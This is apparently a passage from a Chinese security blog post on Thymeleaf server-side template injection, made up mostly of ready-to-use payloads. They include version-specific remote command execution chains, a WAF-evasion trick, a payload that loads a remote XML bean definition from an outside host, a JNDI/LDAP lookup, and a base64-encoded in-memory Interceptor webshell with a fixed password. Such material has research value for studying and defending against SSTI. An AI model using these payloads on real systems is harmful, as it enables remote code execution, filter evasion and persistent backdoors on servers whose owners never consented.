[[${#ctx['org.springframework.web.servlet.DispatcherServlet.CONTEXT'].getBean('jacksonObjectMapper').readValue("{}",#ctx['org.springframework.web.servlet.DispatcherServlet.CONTEXT'].classLoader.loadClass('org.springframework.expression.spel.standard.SpelExpressionParser')).parseExpression("new ProcessBuilder({'cmd','/c','calc'}).start()").getValue()}]]

<= 3.0.15

其中 .. 的部分也可以用一个 . , 只不过 .. 可能可以过一些 WAF

1
<a th:text="${__${new.java..lang.ProcessBuilder('cmd', '/c calc').start()}__}"/>

<= 3.1.2

1
2
3
<html lang="en" xmlns:th="http://www.thymeleaf.org">  
<p th:text='${__${new.org..apache.tomcat.util.IntrospectionUtils().getClass().callMethodN(new.org..apache.tomcat.util.IntrospectionUtils().getClass().callMethodN(new.org..apache.tomcat.util.IntrospectionUtils().getClass().findMethod(new.org..springframework.instrument.classloading.ShadowingClassLoader(new.org..apache.tomcat.util.IntrospectionUtils().getClass().getClassLoader()).loadClass("java.lang.Runtime"),"getRuntime",null),"invoke",{null,null},{new.org..springframework.instrument.classloading.ShadowingClassLoader(new.org..apache.tomcat.util.IntrospectionUtils().getClass().getClassLoader()).loadClass("java.lang.Object"),new.org..springframework.instrument.classloading.ShadowingClassLoader(new.org..apache.tomcat.util.IntrospectionUtils().getClass().getClassLoader()).loadClass("org."+"thymeleaf.util.ClassLoaderUtils").loadClass("[Ljava.lang.Object;")}),"exec","cmd /c calc",new.org..springframework.instrument.classloading.ShadowingClassLoader(new.org..apache.tomcat.util.IntrospectionUtils().getClass().getClassLoader()).loadClass("java.lang.String"))}__}'></p>

利用 ClassPathXmlApplicationContext , 需要出网 :

1
2
3
<html lang="en" xmlns:th="http://www.thymeleaf.org">  
<p th:text='${__${T(org. apache.el.util.ReflectionUtil).forName(\"com.zaxxer.hikari.util.UtilityElf\").createInstance(\"org.\"+\"springframework.context.support.ClassPathXmlApplicationContext\", T(org. apache.el.util.ReflectionUtil).forName(\"org.\"+\"springframework.context.support.ClassPathXmlApplicationContext\"), \"http://ip/test.xml\")}__}'></p>

利用 jshell 来命令执行 这里的 UtilityElf 是 SpringBoot-JDBC 依赖中的类 :

1
2
3
<html lang="en" xmlns:th="http://www.thymeleaf.org">  
<p th:text='${__${T(org. apache.tomcat.util.IntrospectionUtils).callMethodN(T(com.zaxxer.hikari.util.UtilityElf).createInstance('jakarta.el.ELProcessor', T(ch.qos.logback.core.util.Loader).loadClass('jakarta.el.ELProcessor')), 'eval', new java.lang.String[]{'\"\".getClass().forName(\"jdk.jshell.JShell\").getMethods()[6].invoke(\"\".getClass().forName(\"jdk.jshell.JShell\")).eval(\"java.lang.Runtime.getRuntime().exec(\\\"calc\\\")\")'}, T(org. apache.el.util.ReflectionUtil).toTypeArray(new java.lang.String[]{\"java.lang.String\"}))}__}'></p>

还有一些收集来的 Payload , 适用版本尚未测试

ch.qos.logback.core.util.OptionHelper来自logback-core包 , 用于打印日志 , spring 默认引入
instantiateByClassName是一个静态方法 , 用于实例化无参指定类
对于无参实例化的场景 , 我们一般实例化SpelExpressionParser紧接着 , 调用parseExpression即可 :

1
[[${T(ch.qos.logback.core.util.OptionHelper).instantiateByClassName("org.springframework.expression.spel.standard.SpelExpressionParser","".getClass().getSuperclass(),T(ch.qos.logback.core.util.OptionHelper).getClassLoader()).parseExpression("T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('whoami')").getValue()}]]

HikariCP 是非常热门的jdbc连接池 :

1
[[${New com.zaxxer.hikari.HikariConfig().setMetricRegistry("ldap://127.0.0.1:1389")}]]

com.fasterxml.jackson.databind.util.ClassUtil#createInstance方法可以调用一个空参构造函数实例化 , 同样的套路整个SPEL表达式执行 :

1
[[${T(com.fasterxml.jackson.databind.util.ClassUtil).createInstance("".getClass().forName('org.spr'+'ingframework.expression.spel.standard.SpelExpressionParser'),true).parseExpression("T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('calc')").getValue()}]]

内存马

可以直接用工具生成新的 , 注意要把里面的 Base64 数据以及注入器类名替换掉

Interceptor 内存马 密码 : cmd

1
[[${#ctx['org.springframework.web.servlet.DispatcherServlet.CONTEXT'].beanFactory.createBean(#ctx['org.springframework.web.servlet.DispatcherServlet.CONTEXT'].classLoader.loadClass('org.springframework.expression.spel.standard.SpelExpressionParser')).parseExpression("T(org.springframework.cglib.core.ReflectUtils).defineClass('org.springframework.mVlbW.DateUtil',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAADIBHQEAIm9yZy9zcHJpbmdmcmFtZXdvcmsvbVZsYlcvRGF0ZVV0aWwHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAMZ2V0Q2xhc3NOYW1lAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAD1vcmcuc3ByaW5nZnJhbWV3b3JrLmJvb3QubXZjLmhhbmRsZXJzLkV5WGJDLlJlcG9ydEludGVyY2VwdG9yCAAHAQAPZ2V0QmFzZTY0U3RyaW5nAQATamF2YS9pby9JT0V4Y2VwdGlvbgcACgELVEg0c0lBQUFBQUFBQS83MVg2M3NUV1JuL25jd2taekpKMnpRMGhVRmxZVjJnRjlwc1VZT2tzRUpaV09MMmdyU3doSzdhYVRKdFE5Tk1kbWJTVW0rcks2NjYzbkM5clZjVUwxMWRWQlkxbEJVcTZ2UDR3VzkrODROL2dENlBmNENQcnRiM3pFd2doZlFwZm5CNTBwazU3M25QNy8yZDkzWU9mL3pQYXlzQTl1TDNEQWROYXpwcGw2MUNhWHJLMHVlTUJkT2FUVTZhcHBPY204OGxaL1JTdm1oWWR2TG80cG5KSThtVFJ0bTBuRXpKTWF5Y1VYWk1pNE14eE03cDgzcXlxSmVta3lPVDU0eWN3eUV4N0dzRXZHQk1KbTNEbWk4YVR2S3d2VmpLSGZjTXJJRU1Nb1RMT3EwWnBtVU04Y0c3K0tPT3dPdG5rSEp6ZVFWaGh0Q0JRcW5nUEVhU2pzN1RVVVFRVlNHalNVQllob2ZPa085d01jN2ZzVDNqT09Ya2NYcU1lb0tUeGpNVnczYjZOMVN6eTJiSk52b0g3OTF5ZitkWmhrMTNwVWZQaTkwVXpCSkg2NXFKc1JuTFhOQW5pd2JIcGlnNGxEQUNTRERzZkNDQ0hKc1pvdE9HYzBMNHh5Q25NZXpxdU45Qm5mZUxvdEN3TllJdGVCT0RVa09JNGkzWXFoS0RiUXpOSk15VXloV0hGaGo2SEVQbitzQUZNMW1uU3RqYnNVUEFQRXgwSHN5RkhJOHd0SkRKa1lwVFozTm5SK2M5TWZEWDFhdVJ2VjNZSGNGT2RLekpQbzhqUjFmTjQydHBjdXhoMkxFaE9rY3ZRMkI4Z09OUkJwa2tlWVpneC9oQVp5WktKZk0yRlQxNE8wa1dySUpEcWNWcEpwTVJxWmZDUGhWSnZKTzJKYktlMFBUYzdKaWw1NHdvMGlJdDIwQ0p1LzB1M1NORjNiYUhUZWVZV1NubDZ4TG1JTU8ydTFyRDVtZ2xOM09zWUJUcmRkN0Y4TkM5T2tPR00yUFdLeDJtcW5qYTdsWndoUGphNVdMQllkamRLS2pqamRMbEtJNnA2TVlUdEIrN1V1cWRLOWk1M2xNbFc1OHlGR1JJZU05R09KNGtiMHlabGxlMU96ZklTbmNOV1JuQ3NJcEJqRkRCT2pOR0RmODlGRmZLamNlTlhGRzNqTHk3ZTRhZURUQXRZNnBJdFpoMDFRbDdGR01DK3hURDVuV1VPSjVpYUxJTjUzQXVaOWgyWVZKMEM3bmpySWhuRm1kVm5NRTRPWkdvM0ZObnRhcS9YeFRGZS9FK3NmRDlEQWt4Mnl0bWUwOE5aODZjc0V4aFJZRk9DZHJBNXh5NU5XdDgvY3hjdWFpQWlNWDBZdEhNNlk2UktkbU9Yc3FSbzZiSmI4VE9DejNEb1FZZUdyL1A2NDE4NWlFUSt3TE9DYWZOTW14WlQ0dURLalZVS00yYnM4UnFmd08vakQrZ3EweVVWWlR3RFBsNFhGU2M3ZldtZ1VYSHNFVWdPc2NIb3FoZ1hpVGl3dHBhWDdRZGcycDFrUnlnVzVhK21EUEw5TjNWZ0V5bWdjaXQyQS9pUXlvK2dBOHpxRE5Hc1d4WVpkMlpVZkFzSlhkUnI1UkVSZVhvQkN6WWN3bys1akZ6SFVqUjYyaVV5eC9IQlhINGZJS3FiVjR2VmlnOG4yUm92YXNuVHJscGcwNjRUeE1ZZFlqVFFzazl1YWkxZkFhZlZmRUNQaWQ2VDRiakMxUk1wcFV2bEhTSy9SY1pJbFJaczRkRm56QnlDcjVFemhuTG5qaEs4QTE0ZkFWZkRSUFUxOVlZSHpETm9xRlRWL2g2R045dzUrb0t6SXRyRk4veWd2OXRFUlJLZk81dVkyU0tvYjBqVTc5amZ5ZGs2N3Y0bnFCOVdhaWNyVmZ4N2JrcVAxREo1QTlwRStLczlyb3NWY0dTZ3UxcktKNnNsSnpDSEIwTlA2R0lFRHQvVERXeHh0MittSkN2NEtjcVhzSFB5QnNHK1dXZDdsWW44aXVLbGw3RnEyTHB0VFVFL0dtT1gxTEw2Rmovckt1cStCV3VFOG15YVR1MVM4YUwvLzlMeHVCR2Q2b2hNMjhVS1V0T0Y0eUYvczdUbE1qNkZGMFNqcGpVUWd4eEtEQXN2Z0UwRzl5RFhEYmJmRGFsWE1XeWpKTG5PdG9NSFpXV1krVGZtSXNhOFdnaUNxS0QxaXBRUGtKK0k3RjdaQS9wNVRIZFBRalVPK3h0N0tEYmpReHFlL1FYRnZjMmV2K0dMdEVCcURSaTR1Skp6OXNrYWFVM28zZXc2enFhWDRYNFIzRkFqRlRGOUNzRUU2YjNXRmYzTmJUZndKc0R1STZIMHJJbS93SDd1alQ1T3Q2YUR1NjVnVTZHZEtoMU8yNHFhYTRGTlY3Rk83SXBKWEFKTVMya2NTbWhWTEYvYWZXdjBwVWxxR0oxRlFma0s2N2hKL0FrM1RVWWZrdmZCeEZjcGQ2cGNBUTR0bkRzNUpBNXVqbDZPSkljZmNEcjJNcFdTVnV1VndHb0diZUY4RHVDRUx1T0UzbTZLZm83YktaM1FPeTkrNnE3dllDNC9ubmJrLzlFM3RnQ1NHZTdocnFId1pZZ0RYWEhINi9pK0hEODNjczRJWmpHVDFaeE9oM1Vnc1Q1YVMzSXFwaEloMWlheHllRkFsOUNOSzNFcDl4dlVwNlJiMkV3SzhVSFI2c29haUVheVZsSjR6U3kwa3JQaXB5L2hiNTBXQXV2cEZRcEZVbEU2T3N5SHRiQ2lVaFBJaUpQN0szaS9HaENGZU85S3hNcDlVS0VMYTMrSmFHU1d5TlNLcXFGMDAxYTAwcXFXVXExSkZvU3paZXhXMnRLdE94Tng3U1lwRVVTVVMyMnNveVB1Rzk1WWlJVnZkQkM2LzhzMzFUVFRhR2JhbFlLakdSbCtnc0dSdExOUFpLd2xtN1JXa2lYRE1TMEZrbkF0QWdJTFNZZzh0S1l4dU1mRlE1bzFWcGRCN1JxRk1xSjIraWpYenBPczgrSjJVM2FKbmQya3p1YmJwTlNDYTJ0aXVmam54S3o3VnE3TzlzdVpMVDJoU28rbjBvc29TdmQ3bW05S0pIWGhNUGE2SU5VTFY5bmMyS3pQRUZRUFA3bG1PbzY5aHBlR3MzSzhiN1JiRkE4UXVMQlhhRWlQbU1oOXp2RzNZRVN2MGpQOERWOGsvei9IWi9HSmFLaENEUUtUQ0t4ak84VG5oWW5QQzFHZUZxRThDZ29ybHhoQWxGcmtucmRZWXlMc2FJMUMxQnBHVDhTVVgxcUNjK1Rjd1JEeFF0OVg0MmdTK1YraGk0cFhpTVYxK0l1cVRpUlVyeHNpUWxHRWNISTV4RmlnbFNOaHM5S3NPQjNXQkNCbC8zVXUramlldkc2Sk9MbEoyR3pUN2ZmcGZ0eXNLYWRsUnR3Q2RiV1pPVjZHei8yQTFVUGZ5ZGtQVU5MYUJsZXhzKzdxL2hGRmNzMGxQWmNSWkQrSDdJZkIvQVlPOGxzTm85RFRBdWtBd2R4S0hBNzhMZkEzekVBVlRvbVpXcE5nQjFFL045K2ZYZXZVajBIdkU4d2FnT3Znd3EyWjVVNmdkY2p2TlpBVjd4QmpqTnVzeGdVZW84cHEzZ1UwZlZVM0tmRHFQdjhFN3RXeVhCc0EwMXFQY3hmOFE5MHJlSWx0RC9RaW92dXI4LzluYWs5WlNZb0hpTERsOUQ2UDhLNEsvK0Y1Mlk1QnZhdDRoRklkd0RFVkZza1VOY0VHVzdnTmIrUE40a1dMM3E3MStMcmxYNk5teHNyM2NKS25aTGNTQW4vQllYT1dKS3BFUUFBCAAMAQAGPGluaXQ+AQADKClWAQATamF2YS9sYW5nL0V4Y2VwdGlvbgcAEAwADgAPCgAEABIBAApnZXRDb250ZXh0AQAUKClMamF2YS9sYW5nL09iamVjdDsMABQAFQoAAgAWAQAIZ2V0U2hlbGwMABgAFQoAAgAZAQAGaW5qZWN0AQAnKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvT2JqZWN0OylWDAAbABwKAAIAHQEAFmdldFNlcnZsZXRDb250ZXh0Q2xhc3MBACooTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspTGphdmEvbGFuZy9DbGFzczsBAC0oTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspTGphdmEvbGFuZy9DbGFzczwqPjsBACBqYXZhL2xhbmcvQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbgcAIgEAE2phdmEvbGFuZy9UaHJvd2FibGUHACQBABxqYXZheC5zZXJ2bGV0LlNlcnZsZXRDb250ZXh0CAAmAQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyBwAoAQAJbG9hZENsYXNzAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwwAKgArCgApACwBAB5qYWthcnRhLnNlcnZsZXQuU2VydmxldENvbnRleHQIAC4BACtqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uVGFyZ2V0RXhjZXB0aW9uBwAwAQAfamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbgcAMgEAIGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uBwA0AQAQamF2YS9sYW5nL1RocmVhZAcANgEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwwAOAA5CgA3ADoBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7DAA8AD0KADcAPgEAPG9yZy5zcHJpbmdmcmFtZXdvcmsud2ViLmNvbnRleHQucmVxdWVzdC5SZXF1ZXN0Q29udGV4dEhvbGRlcggAQAEAFGdldFJlcXVlc3RBdHRyaWJ1dGVzCABCAQAMaW52b2tlTWV0aG9kAQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsMAEQARQoAAgBGAQAKZ2V0UmVxdWVzdAgASAEACmdldFNlc3Npb24IAEoBABFnZXRTZXJ2bGV0Q29udGV4dAgATAEAQm9yZy5zcHJpbmdmcmFtZXdvcmsud2ViLmNvbnRleHQuc3VwcG9ydC5XZWJBcHBsaWNhdGlvbkNvbnRleHRVdGlscwgATgEAGGdldFdlYkFwcGxpY2F0aW9uQ29udGV4dAgAUAEAD2phdmEvbGFuZy9DbGFzcwcAUgwAHwAgCgACAFQBAF0oTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMAEQAVgoAAgBXAQAxb3JnLnNwcmluZ2ZyYW1ld29yay5jb250ZXh0LnN1cHBvcnQuTGl2ZUJlYW5zVmlldwgAWQEAC25ld0luc3RhbmNlDABbABUKAFMAXAEAE2FwcGxpY2F0aW9uQ29udGV4dHMIAF4BAA1nZXRGaWVsZFZhbHVlDABgAEUKAAIAYQEADWphdmEvdXRpbC9TZXQHAGMBAAhpdGVyYXRvcgEAFigpTGphdmEvdXRpbC9JdGVyYXRvcjsMAGUAZgsAZABnAQASamF2YS91dGlsL0l0ZXJhdG9yBwBpAQAEbmV4dAwAawAVCwBqAGwBADVvcmcuc3ByaW5nZnJhbWV3b3JrLndlYi5jb250ZXh0LldlYkFwcGxpY2F0aW9uQ29udGV4dAgAbgEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwwAcABxCgAEAHIBABBpc0Fzc2lnbmFibGVGcm9tAQAUKExqYXZhL2xhbmcvQ2xhc3M7KVoMAHQAdQoAUwB2DAAFAAYKAAIAeAwACQAGCgACAHoBAAxkZWNvZGVCYXNlNjQBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCDAB8AH0KAAIAfgEADmd6aXBEZWNvbXByZXNzAQAGKFtCKVtCDACAAIEKAAIAggEAC2RlZmluZUNsYXNzCACEAQACW0IHAIYBABFqYXZhL2xhbmcvSW50ZWdlcgcAiAEABFRZUEUBABFMamF2YS9sYW5nL0NsYXNzOwwAigCLCQCJAIwBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsMAI4AjwoAUwCQAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kBwCSAQANc2V0QWNjZXNzaWJsZQEABChaKVYMAJQAlQoAkwCWAQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsMAJgAmQoAiQCaAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DACcAJ0KAJMAngEAB2dldEJlYW4IAKABABBqYXZhL2xhbmcvU3RyaW5nBwCiAQAccmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZwgApAEAE2FkYXB0ZWRJbnRlcmNlcHRvcnMIAKYBAA5qYXZhL3V0aWwvTGlzdAcAqAsAqQBnAQAHaGFzTmV4dAEAAygpWgwAqwCsCwBqAK0BAAdnZXROYW1lDACvAAYKAFMAsAEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgwAsgCzCgCjALQBABBqYXZhL2xhbmcvU3lzdGVtBwC2AQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07DAC4ALkJALcAugEAHGludGVyY2VwdG9yIGFscmVhZHkgaW5qZWN0ZWQIALwBAANhZGQMAL4AswsAqQC/AQAhaW50ZXJjZXB0b3IgaW5qZWN0ZWQgc3VjY2Vzc2Z1bGx5CADBAQBgKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzPCo+O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQANZ2V0U3VwZXJjbGFzcwwAxABxCgBTAMUBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgcAxwoAyAASAQASTWV0aG9kIG5vdCBmb3VuZDogCADKAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7DADMAM0KAMgAzgEACHRvU3RyaW5nDADQAAYKAMgA0QEAFShMamF2YS9sYW5nL1N0cmluZzspVgwADgDTCgAzANQBABJbTGphdmEvbGFuZy9DbGFzczsHANYBABNbTGphdmEvbGFuZy9PYmplY3Q7BwDYAQAQamF2YS51dGlsLkJhc2U2NAgA2gEAB2Zvck5hbWUMANwAKwoAUwDdAQAKZ2V0RGVjb2RlcggA3wEACWdldE1ldGhvZAwA4QCPCgBTAOIBAAZkZWNvZGUIAOQBABZzdW4ubWlzYy5CQVNFNjREZWNvZGVyCADmAQAMZGVjb2RlQnVmZmVyCADoAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0HAOoKAOsAEgEAHWphdmEvdXRpbC96aXAvR1pJUElucHV0U3RyZWFtBwDtAQAcamF2YS9pby9CeXRlQXJyYXlJbnB1dFN0cmVhbQcA7wEABShbQilWDAAOAPEKAPAA8gEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgwADgD0CgDuAPUBAARyZWFkAQAFKFtCKUkMAPcA+AoA7gD5AQAFd3JpdGUBAAcoW0JJSSlWDAD7APwK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'),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()").getValue()}]]

Reference

探索spring下SSTI通用方法
Thymeleaf SSTI 分析以及最新版修复的 Bypass - Panda | 热爱安全的理想少年
thymeleaf模板注入学习与研究–查找与防御-腾讯云开发者社区-腾讯云
CTF/Web/java/模板注入/Thymeleaf/README.md at main · bfengj/CTF
Thymeleaf漏洞汇总 | AnchorEureka’ Blog
Thymeleaf SSTI | 1diot9’s Blog
Springboot下Thymeleaf全版本SSTI研究 - FreeBuf网络安全行业门户
Thymeleaf SSTI漏洞分析-先知社区
Thymeleaf SSTI 模版注入 | X1ongSec
最新版本thymeleaf防护机制研究及其利用payload-先知社区
JAVA安全之Thymeleaf模板注入绕过再探-腾讯云开发者社区-腾讯云

  • Title: Thymeleaf SSTI 分析
  • Author: exp3n5ive
  • Created at : 2025-11-16 18:42:46
  • Updated at : 2025-11-16 18:46:52
  • Link: https://exp3n5ive.github.io/2025/11/16/Thymeleaf SSTI 分析/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments